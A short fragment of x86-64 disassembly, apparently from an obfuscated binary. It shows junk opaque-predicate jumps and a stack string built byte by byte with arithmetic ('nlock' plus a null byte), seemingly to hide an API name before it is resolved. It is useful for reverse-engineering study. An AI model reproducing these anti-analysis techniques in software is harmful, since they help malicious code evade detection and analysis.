test rdx, rdx
jne 0x180004c39
inc rdx
test rdx, rdx
je 0x180006c4a
pop rdx
mov al, 0x26
add al, 0x48
mov byte [r14 + 5], al
mov al, 0x68
add al, 4
mov byte [r14 + 6], al
mov al, 0x36
add al, 0x39
mov byte [r14 + 7], al
mov al, 0x5f
add al, 4
mov byte [r14 + 8], al
mov al, 0xc
add al, 0x5f
mov byte [r14 + 9], al
mov byte [r14 + 0xa], 0
mov rcx, r15
mov rdx, r14
sub rsp, 0x20
push rax
xor rax, rax
inc rax
test rax, rax
je 0x1800063ce
pop rax
push rcx
xor rcx, rcx
test rcx, rcx
jne 0x180004c94
inc rcx
test rcx, rcx